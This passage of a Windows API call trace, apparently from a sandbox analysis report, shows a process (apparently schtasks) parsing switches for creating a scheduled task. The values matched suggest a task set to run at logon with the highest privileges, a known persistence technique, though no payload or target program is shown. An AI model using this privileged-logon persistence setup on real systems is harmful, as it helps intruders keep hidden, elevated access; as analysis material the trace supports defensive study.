_Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.934] lstrlenW (lpString="f") returned 1 [0140.934] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.934] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|create|") returned 8 [0140.934] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.934] lstrlenW (lpString="|create|") returned 8 [0140.934] lstrlenW (lpString="|f|") returned 3 [0140.934] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0140.934] SetLastError (dwErrCode=0x490) [0140.934] lstrlenW (lpString="?") returned 1 [0140.934] lstrlenW (lpString="?") returned 1 [0140.934] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.934] lstrlenW (lpString="f") returned 1 [0140.934] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.934] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|?|") returned 3 [0140.934] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.934] lstrlenW (lpString="|?|") returned 3 [0140.934] lstrlenW (lpString="|f|") returned 3 [0140.934] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0140.934] SetLastError (dwErrCode=0x490) [0140.934] lstrlenW (lpString="s") returned 1 [0140.934] lstrlenW (lpString="s") returned 1 [0140.934] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.934] lstrlenW (lpString="f") returned 1 [0140.935] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.935] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|s|") returned 3 [0140.935] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.935] lstrlenW (lpString="|s|") returned 3 [0140.935] lstrlenW (lpString="|f|") returned 3 [0140.935] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0140.935] SetLastError (dwErrCode=0x490) [0140.935] lstrlenW (lpString="u") returned 1 [0140.935] lstrlenW (lpString="u") returned 1 [0140.935] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.935] lstrlenW (lpString="f") returned 1 [0140.935] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.935] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|u|") returned 3 [0140.935] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.935] lstrlenW (lpString="|u|") returned 3 [0140.935] lstrlenW (lpString="|f|") returned 3 [0140.935] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0140.935] SetLastError (dwErrCode=0x490) [0140.935] lstrlenW (lpString="p") returned 1 [0140.935] lstrlenW (lpString="p") returned 1 [0140.935] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.935] lstrlenW (lpString="f") returned 1 [0140.935] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.935] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|p|") returned 3 [0140.935] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.935] lstrlenW (lpString="|p|") returned 3 [0140.935] lstrlenW (lpString="|f|") returned 3 [0140.935] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0140.936] SetLastError (dwErrCode=0x490) [0140.936] lstrlenW (lpString="ru") returned 2 [0140.936] lstrlenW (lpString="ru") returned 2 [0140.936] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.936] lstrlenW (lpString="f") returned 1 [0140.936] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.936] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|ru|") returned 4 [0140.936] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.936] lstrlenW (lpString="|ru|") returned 4 [0140.936] lstrlenW (lpString="|f|") returned 3 [0140.936] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0140.936] SetLastError (dwErrCode=0x490) [0140.936] lstrlenW (lpString="rp") returned 2 [0140.936] lstrlenW (lpString="rp") returned 2 [0140.936] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.936] lstrlenW (lpString="f") returned 1 [0140.936] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.936] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rp|") returned 4 [0140.936] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.936] lstrlenW (lpString="|rp|") returned 4 [0140.936] lstrlenW (lpString="|f|") returned 3 [0140.936] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0140.936] SetLastError (dwErrCode=0x490) [0140.936] lstrlenW (lpString="sc") returned 2 [0140.936] lstrlenW (lpString="sc") returned 2 [0140.936] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.936] lstrlenW (lpString="f") returned 1 [0140.936] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.936] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|sc|") returned 4 [0140.936] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.937] lstrlenW (lpString="|sc|") returned 4 [0140.937] lstrlenW (lpString="|f|") returned 3 [0140.937] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0140.937] SetLastError (dwErrCode=0x490) [0140.937] lstrlenW (lpString="mo") returned 2 [0140.937] lstrlenW (lpString="mo") returned 2 [0140.937] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.937] lstrlenW (lpString="f") returned 1 [0140.937] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.937] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|mo|") returned 4 [0140.937] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.937] lstrlenW (lpString="|mo|") returned 4 [0140.937] lstrlenW (lpString="|f|") returned 3 [0140.937] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0140.937] SetLastError (dwErrCode=0x490) [0140.937] lstrlenW (lpString="d") returned 1 [0140.937] lstrlenW (lpString="d") returned 1 [0140.937] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.937] lstrlenW (lpString="f") returned 1 [0140.937] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.937] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|d|") returned 3 [0140.937] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.937] lstrlenW (lpString="|d|") returned 3 [0140.937] lstrlenW (lpString="|f|") returned 3 [0140.937] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0140.937] SetLastError (dwErrCode=0x490) [0140.937] lstrlenW (lpString="m") returned 1 [0140.937] lstrlenW (lpString="m") returned 1 [0140.937] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.937] lstrlenW (lpString="f") returned 1 [0140.938] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.938] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|m|") returned 3 [0140.938] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.938] lstrlenW (lpString="|m|") returned 3 [0140.938] lstrlenW (lpString="|f|") returned 3 [0140.938] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0140.938] SetLastError (dwErrCode=0x490) [0140.938] lstrlenW (lpString="i") returned 1 [0140.938] lstrlenW (lpString="i") returned 1 [0140.938] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.938] lstrlenW (lpString="f") returned 1 [0140.938] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.938] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|i|") returned 3 [0140.938] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.987] lstrlenW (lpString="|i|") returned 3 [0140.987] lstrlenW (lpString="|f|") returned 3 [0140.987] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0140.987] SetLastError (dwErrCode=0x490) [0140.987] lstrlenW (lpString="tn") returned 2 [0140.987] lstrlenW (lpString="tn") returned 2 [0140.987] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.988] lstrlenW (lpString="f") returned 1 [0140.988] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.988] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.988] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.988] lstrlenW (lpString="|tn|") returned 4 [0140.988] lstrlenW (lpString="|f|") returned 3 [0140.988] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0140.988] SetLastError (dwErrCode=0x490) [0140.988] lstrlenW (lpString="tr") returned 2 [0140.988] lstrlenW (lpString="tr") returned 2 [0140.988] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.988] lstrlenW (lpString="f") returned 1 [0140.988] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.988] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tr|") returned 4 [0140.988] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.988] lstrlenW (lpString="|tr|") returned 4 [0140.988] lstrlenW (lpString="|f|") returned 3 [0140.988] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0140.988] SetLastError (dwErrCode=0x490) [0140.988] lstrlenW (lpString="st") returned 2 [0140.988] lstrlenW (lpString="st") returned 2 [0140.988] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.988] lstrlenW (lpString="f") returned 1 [0140.988] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.988] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|st|") returned 4 [0140.988] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.988] lstrlenW (lpString="|st|") returned 4 [0140.988] lstrlenW (lpString="|f|") returned 3 [0140.988] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0140.988] SetLastError (dwErrCode=0x490) [0140.988] lstrlenW (lpString="sd") returned 2 [0140.988] lstrlenW (lpString="sd") returned 2 [0140.989] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.989] lstrlenW (lpString="f") returned 1 [0140.989] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.989] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|sd|") returned 4 [0140.989] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.989] lstrlenW (lpString="|sd|") returned 4 [0140.989] lstrlenW (lpString="|f|") returned 3 [0140.989] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0140.989] SetLastError (dwErrCode=0x490) [0140.989] lstrlenW (lpString="ed") returned 2 [0140.989] lstrlenW (lpString="ed") returned 2 [0140.989] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.989] lstrlenW (lpString="f") returned 1 [0140.989] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.989] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|ed|") returned 4 [0140.989] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.989] lstrlenW (lpString="|ed|") returned 4 [0140.989] lstrlenW (lpString="|f|") returned 3 [0140.989] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0140.989] SetLastError (dwErrCode=0x490) [0140.989] lstrlenW (lpString="it") returned 2 [0140.989] lstrlenW (lpString="it") returned 2 [0140.989] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.989] lstrlenW (lpString="f") returned 1 [0140.989] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.989] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|it|") returned 4 [0140.989] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.989] lstrlenW (lpString="|it|") returned 4 [0140.989] lstrlenW (lpString="|f|") returned 3 [0140.989] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0140.989] SetLastError (dwErrCode=0x490) [0140.989] lstrlenW (lpString="et") returned 2 [0140.989] lstrlenW (lpString="et") returned 2 [0140.990] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.990] lstrlenW (lpString="f") returned 1 [0140.990] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.990] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|et|") returned 4 [0140.990] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.990] lstrlenW (lpString="|et|") returned 4 [0140.990] lstrlenW (lpString="|f|") returned 3 [0140.990] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0140.990] SetLastError (dwErrCode=0x490) [0140.990] lstrlenW (lpString="k") returned 1 [0140.990] lstrlenW (lpString="k") returned 1 [0140.990] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.990] lstrlenW (lpString="f") returned 1 [0140.990] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.990] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|k|") returned 3 [0140.990] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.990] lstrlenW (lpString="|k|") returned 3 [0140.990] lstrlenW (lpString="|f|") returned 3 [0140.990] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0140.990] SetLastError (dwErrCode=0x490) [0140.990] lstrlenW (lpString="du") returned 2 [0140.990] lstrlenW (lpString="du") returned 2 [0140.990] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.990] lstrlenW (lpString="f") returned 1 [0140.990] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.990] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|du|") returned 4 [0140.990] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.990] lstrlenW (lpString="|du|") returned 4 [0140.990] lstrlenW (lpString="|f|") returned 3 [0140.990] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0140.990] SetLastError (dwErrCode=0x490) [0140.990] lstrlenW (lpString="ri") returned 2 [0140.990] lstrlenW (lpString="ri") returned 2 [0140.991] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.991] lstrlenW (lpString="f") returned 1 [0140.991] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.991] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|ri|") returned 4 [0140.991] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.991] lstrlenW (lpString="|ri|") returned 4 [0140.991] lstrlenW (lpString="|f|") returned 3 [0140.991] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0140.991] SetLastError (dwErrCode=0x490) [0140.991] lstrlenW (lpString="z") returned 1 [0140.991] lstrlenW (lpString="z") returned 1 [0140.991] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.991] lstrlenW (lpString="f") returned 1 [0140.991] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.991] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|z|") returned 3 [0140.991] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.991] lstrlenW (lpString="|z|") returned 3 [0140.991] lstrlenW (lpString="|f|") returned 3 [0140.991] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0140.991] SetLastError (dwErrCode=0x490) [0140.991] lstrlenW (lpString="f") returned 1 [0140.991] lstrlenW (lpString="f") returned 1 [0140.991] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.991] lstrlenW (lpString="f") returned 1 [0140.991] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.991] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.991] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|f|") returned 3 [0140.991] lstrlenW (lpString="|f|") returned 3 [0140.991] lstrlenW (lpString="|f|") returned 3 [0140.991] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0140.992] SetLastError (dwErrCode=0x0) [0140.992] SetLastError (dwErrCode=0x0) [0140.992] GetProcessHeap () returned 0x270000 [0140.992] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cd10 [0140.992] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.992] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0140.992] lstrlenW (lpString="LIMITED") returned 7 [0140.992] GetProcessHeap () returned 0x270000 [0140.992] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x10) returned 0x28d5a0 [0140.992] GetThreadLocale () returned 0x409 [0140.992] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0140.992] GetProcessHeap () returned 0x270000 [0140.992] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cce0 [0140.992] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.992] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0140.992] lstrlenW (lpString="HIGHEST") returned 7 [0140.992] GetProcessHeap () returned 0x270000 [0140.992] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x10) returned 0x28d5c0 [0140.992] GetThreadLocale () returned 0x409 [0140.992] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0140.992] GetProcessHeap () returned 0x270000 [0140.992] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28ccb0 [0140.992] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.992] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0140.992] lstrlenW (lpString="MINUTE") returned 6 [0140.992] GetProcessHeap () returned 0x270000 [0140.992] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0xe) returned 0x28d5e0 [0140.992] GetThreadLocale () returned 0x409 [0140.992] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0140.993] GetProcessHeap () returned 0x270000 [0140.993] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cc80 [0140.993] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.993] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0140.993] lstrlenW (lpString="HOURLY") returned 6 [0140.993] GetProcessHeap () returned 0x270000 [0140.993] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0xe) returned 0x28d600 [0140.993] GetThreadLocale () returned 0x409 [0140.993] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0140.993] GetProcessHeap () returned 0x270000 [0140.993] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cc50 [0140.993] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.993] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0140.993] lstrlenW (lpString="DAILY") returned 5 [0140.993] GetProcessHeap () returned 0x270000 [0140.993] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0xc) returned 0x28d620 [0140.993] GetThreadLocale () returned 0x409 [0140.993] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0140.993] GetProcessHeap () returned 0x270000 [0140.993] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cc20 [0140.993] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.993] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0140.993] lstrlenW (lpString="WEEKLY") returned 6 [0140.993] GetProcessHeap () returned 0x270000 [0140.993] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0xe) returned 0x28d640 [0140.993] GetThreadLocale () returned 0x409 [0140.993] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0140.993] GetProcessHeap () returned 0x270000 [0140.993] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cbf0 [0140.993] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.993] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0140.993] lstrlenW (lpString="MONTHLY") returned 7 [0140.994] GetProcessHeap () returned 0x270000 [0140.994] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x10) returned 0x28d660 [0140.994] GetThreadLocale () returned 0x409 [0140.994] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0140.994] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.994] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0140.994] lstrlenW (lpString="ONCE") returned 4 [0140.994] GetProcessHeap () returned 0x270000 [0140.994] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0xa) returned 0x28d680 [0140.994] GetThreadLocale () returned 0x409 [0140.994] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0140.994] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.994] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0140.994] lstrlenW (lpString="ONSTART") returned 7 [0140.994] GetThreadLocale () returned 0x409 [0140.994] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0140.994] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.994] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0140.994] lstrlenW (lpString="ONLOGON") returned 7 [0140.994] GetThreadLocale () returned 0x409 [0140.994] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0140.994] SetLastError (dwErrCode=0x0) [0140.994] GetProcessHeap () returned 0x270000 [0140.994] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x1fc) returned 0x28c2f0 [0140.994] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.995] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0140.995] lstrlenW (lpString="First") returned 5 [0140.995] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.995] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0140.995] lstrlenW (lpString="Second") returned 6 [0140.995] _memicmp (_Buf1=0x28bab0, 